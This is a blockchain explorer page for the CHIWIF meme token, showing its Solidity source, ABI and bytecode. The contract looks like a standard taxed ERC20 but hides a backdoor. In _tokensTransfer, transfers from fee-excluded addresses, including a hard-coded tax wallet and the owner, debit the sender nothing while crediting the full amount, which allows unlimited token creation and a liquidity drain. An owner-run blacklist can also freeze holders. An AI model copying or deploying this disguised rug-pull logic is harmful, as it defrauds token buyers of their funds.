ETH Price: $2,476.20 (+7.45%)

Token

CHINESE WIF (CHIWIF)
 

Overview

Max Total Supply

1,000,000,000 CHIWIF

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
42,591,061.329222761 CHIWIF

Value
$0.00
0x247d4D262ea6f97b8CB938184CF0B2C7DB50Ad79
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHIWIF

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-11
*/

/**

Telegram:   https://t.me/chiwif_eth

Twitter:    https://twitter.com/chiwif_eth

Website:    https://chinesewif.live

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CHIWIF is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) private bots;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 11;
    uint256 private _buyCount = 0;

    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"CHINESE WIF";
    string private constant _symbol = unicode"CHIWIF";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _taxTxAmount = 900000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x23BbFF90C1d163Be1e3b27E92ECC6483C7cc48a3);
        _isExcludedFees[_taxWallet] = true;
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function _taxATransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function start() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _taxTxAmount,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function _tokensTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        _balances[from] = _balances[from].sub(taxAmount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFees[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFees[from] &&
                !_isExcludedFees[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool isFeesTake = true;
        if (_isExcludedFees[from]) {
            taxAmount = 0; isFeesTake = false; 
        }

        if (isFeesTake) {
            _taxATransfer(from, to, amount, taxAmount);
        } else {
            _tokensTransfer(from, to, amount, taxAmount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526014600555601460065560006007556000600855600b600955600b600a55600b80556000600c556009600a6200003b9190620002b4565b6200004b906301312d0062000382565b600f556200005c6009600a620002b4565b6200006990606462000382565b6010556200007a6009600a620002b4565b6200008a906335a4e90062000382565b6011556200009b6009600a620002b4565b620000ab906301312d0062000382565b601255620000bc6009600a620002b4565b620000cb906298968062000382565b6013556015805461ffff60a81b19169055348015620000e957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b0319167323bbff90c1d163be1e3b27e92ecc6483c7cc48a39081179091556000908152600360208190527fa3b6a2e2c8fa02fbdacb0f26e4ceaf79e17aac61e734acdca4d6e8f5dc28f440805460ff1916600190811790915591620001a36000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620001f16009600a620002b4565b6200020190633b9aca0062000382565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002446009600a620002b4565b6200025490633b9aca0062000382565b60405190815260200160405180910390a3620003ba565b600181815b80851115620002ac578160001904821115620002905762000290620003a4565b808516156200029e57918102915b93841c939080029062000270565b509250929050565b6000620002c560ff841683620002cc565b9392505050565b600082620002dd575060016200037c565b81620002ec575060006200037c565b8160018114620003055760028114620003105762000330565b60019150506200037c565b60ff841115620003245762000324620003a4565b50506001821b6200037c565b5060208310610133831016604e8410600b841016171562000355575081810a6200037c565b6200036183836200026b565b8060001904821115620003785762000378620003a4565b0290505b92915050565b60008160001904831182151516156200039f576200039f620003a4565b500290565b634e487b7160e01b600052601160045260246000fd5b611d6e80620003ca6000396000f3fe6080604052600436106101395760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610384578063be9a6555146103a4578063bf474bed146103b9578063d34628cc146103cf578063dd62ed3e146103ef578063e1c7392a1461043557600080fd5b80637d1db4a5146102eb5780638da5cb5b146103015780638f9a55c01461032957806395d89b411461033f5780639bc593091461036e57600080fd5b8063313ce567116100fd578063313ce5671461021457806331c2d847146102305780633bbac5791461025257806370a082311461028b578063715018a6146102c1578063751039fc146102d657600080fd5b806306fdde0314610145578063095ea7b31461018b5780630faee56f146101bb57806318160ddd146101df57806323b872dd146101f457600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a21a424a722a9a2902ba4a360a91b60208201525b6040516101829190611a42565b60405180910390f35b34801561019757600080fd5b506101ab6101a63660046118fa565b61044a565b6040519015158152602001610182565b3480156101c757600080fd5b506101d160135481565b604051908152602001610182565b3480156101eb57600080fd5b506101d1610461565b34801561020057600080fd5b506101ab61020f3660046118b9565b610482565b34801561022057600080fd5b5060405160098152602001610182565b34801561023c57600080fd5b5061025061024b366004611926565b6104eb565b005b34801561025e57600080fd5b506101ab61026d366004611846565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029757600080fd5b506101d16102a6366004611846565b6001600160a01b031660009081526001602052604090205490565b3480156102cd57600080fd5b5061025061058a565b3480156102e257600080fd5b506102506105fe565b3480156102f757600080fd5b506101d1600f5481565b34801561030d57600080fd5b506000546040516001600160a01b039091168152602001610182565b34801561033557600080fd5b506101d160125481565b34801561034b57600080fd5b5060408051808201909152600681526521a424aba4a360d11b6020820152610175565b34801561037a57600080fd5b506101d160115481565b34801561039057600080fd5b506101ab61039f3660046118fa565b6106b0565b3480156103b057600080fd5b506102506106bd565b3480156103c557600080fd5b506101d160105481565b3480156103db57600080fd5b506102506103ea366004611926565b6108b2565b3480156103fb57600080fd5b506101d161040a366004611880565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044157600080fd5b50610250610944565b6000610457338484610bc8565b5060015b92915050565b600061046f6009600a611bba565b61047d90633b9aca00611c65565b905090565b600061048f848484610ced565b6104e184336104dc85604051806060016040528060288152602001611d11602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611327565b610bc8565b5060019392505050565b6000546001600160a01b0316331461051e5760405162461bcd60e51b815260040161051590611a97565b60405180910390fd5b60005b81518110156105865760006004600084848151811061054257610542611ccc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057e81611c9b565b915050610521565b5050565b6000546001600160a01b031633146105b45760405162461bcd60e51b815260040161051590611a97565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161051590611a97565b6106346009600a611bba565b61064290633b9aca00611c65565b600f556106516009600a611bba565b61065f90633b9aca00611c65565b6012557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068f6009600a611bba565b61069d90633b9aca00611c65565b60405190815260200160405180910390a1565b6000610457338484610ced565b6000546001600160a01b031633146106e75760405162461bcd60e51b815260040161051590611a97565b601554600160a01b900460ff161561073b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610515565b6014546011546001600160a01b039091169063f305d719904790309060008061076c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107cf57600080fd5b505af11580156107e3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108089190611a14565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085c57600080fd5b505af1158015610870573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089491906119f2565b506015805462ff00ff60a01b19166201000160a01b17905543600e55565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161051590611a97565b60005b81518110156105865760016004600084848151811061090057610900611ccc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061093c81611c9b565b9150506108df565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161051590611a97565b601554600160a01b900460ff16156109c25760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610515565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a0b9030906109fd6009600a611bba565b6104dc90633b9aca00611c65565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5957600080fd5b505afa158015610a6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a919190611863565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aee57600080fd5b505afa158015610b02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b269190611863565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b6e57600080fd5b505af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611863565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610515565b6001600160a01b038216610c8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610515565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610515565b6001600160a01b038216610db35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610515565b60008111610e155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610515565b601554600160b01b900460ff161580610e375750601554600160a81b900460ff165b15610ee4576001600160a01b038316600090815260016020526040902054610e60908290611c84565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610e90908290611b3d565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce09085815260200190565b600080546001600160a01b03858116911614801590610f1157506000546001600160a01b03848116911614155b156112d2576001600160a01b03841660009081526004602052604090205460ff16158015610f5857506001600160a01b03831660009081526004602052604090205460ff16155b610f6157600080fd5b610f8d6064610f87600954600c5411610f7c57600554610f80565b6007545b8590611361565b906113e7565b6015549091506001600160a01b038581169116148015610fbb57506014546001600160a01b03848116911614155b8015610fe057506001600160a01b03831660009081526003602052604090205460ff16155b156110ea57600f548211156110375760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610515565b6012548261105a856001600160a01b031660009081526001602052604090205490565b6110649190611b3d565b11156110b25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610515565b43600e5460036110c29190611b3d565b11156110d457823b156110d457600080fd5b600c80549060006110e483611c9b565b91905055505b6015546001600160a01b0384811691161480159061112157506001600160a01b03831660009081526003602052604090205460ff16155b156111a15760125482611149856001600160a01b031660009081526001602052604090205490565b6111539190611b3d565b11156111a15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610515565b6015546001600160a01b0384811691161480156111c757506001600160a01b0384163014155b156111f4576111f16064610f87600a54600c54116111e757600654610f80565b6008548590611361565b90505b30600090815260016020526040902054601554600160a81b900460ff1615801561122b57506015546001600160a01b038581169116145b80156112405750601554600160b01b900460ff165b801561124f5750600b54600c54115b801561127457506001600160a01b03851660009081526003602052604090205460ff16155b801561129957506001600160a01b03841660009081526003602052604090205460ff16155b156112d05760105481106112c4576112c46112bf846112ba84601354611429565b611429565b61143e565b476112ce476115c7565b505b505b6001600160a01b03841660009081526003602052604090205460019060ff16156112fd575060009050805b80156113145761130f85858585611601565b611320565b61132085858585611744565b5050505050565b6000818484111561134b5760405162461bcd60e51b81526004016105159190611a42565b5060006113588486611c84565b95945050505050565b6000826113705750600061045b565b600061137c8385611c65565b9050826113898583611b55565b146113e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610515565b9392505050565b60006113e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611767565b600081831161143857826113e0565b50919050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148657611486611ccc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114da57600080fd5b505afa1580156114ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115129190611863565b8160018151811061152557611525611ccc565b6001600160a01b03928316602091820292909201015260145461154b9130911684610bc8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611584908590600090869030904290600401611acc565b600060405180830381600087803b15801561159e57600080fd5b505af11580156115b2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610586573d6000803e3d6000fd5b801561167b57306000908152600160205260409020546116219082611795565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116729085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461169e90836117f4565b6001600160a01b0385166000908152600160205260409020556116e36116c483836117f4565b6001600160a01b03851660009081526001602052604090205490611795565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61172d85856117f4565b60405190815260200160405180910390a350505050565b6001600160a01b03841660009081526001602052604090205461169e90826117f4565b600081836117885760405162461bcd60e51b81526004016105159190611a42565b5060006113588486611b55565b6000806117a28385611b3d565b9050838110156113e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610515565b60006113e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611327565b803561184181611cf8565b919050565b60006020828403121561185857600080fd5b81356113e081611cf8565b60006020828403121561187557600080fd5b81516113e081611cf8565b6000806040838503121561189357600080fd5b823561189e81611cf8565b915060208301356118ae81611cf8565b809150509250929050565b6000806000606084860312156118ce57600080fd5b83356118d981611cf8565b925060208401356118e981611cf8565b929592945050506040919091013590565b6000806040838503121561190d57600080fd5b823561191881611cf8565b946020939093013593505050565b6000602080838503121561193957600080fd5b823567ffffffffffffffff8082111561195157600080fd5b818501915085601f83011261196557600080fd5b81358181111561197757611977611ce2565b8060051b604051601f19603f8301168101818110858211171561199c5761199c611ce2565b604052828152858101935084860182860187018a10156119bb57600080fd5b600095505b838610156119e5576119d181611836565b8552600195909501949386019386016119c0565b5098975050505050505050565b600060208284031215611a0457600080fd5b815180151581146113e057600080fd5b600080600060608486031215611a2957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611a6f57858101830151858201604001528201611a53565b81811115611a81576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b1c5784516001600160a01b031683529383019391830191600101611af7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5057611b50611cb6565b500190565b600082611b7257634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611bb2578160001904821115611b9857611b98611cb6565b80851615611ba557918102915b93841c9390800290611b7c565b509250929050565b60006113e060ff841683600082611bd35750600161045b565b81611be05750600061045b565b8160018114611bf65760028114611c0057611c1c565b600191505061045b565b60ff841115611c1157611c11611cb6565b50506001821b61045b565b5060208310610133831016604e8410600b8410161715611c3f575081810a61045b565b611c498383611b77565b8060001904821115611c5d57611c5d611cb6565b029392505050565b6000816000190483118215151615611c7f57611c7f611cb6565b500290565b600082821015611c9657611c96611cb6565b500390565b6000600019821415611caf57611caf611cb6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611d0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b0d10fd2c6b35681c44679317d349ddc5031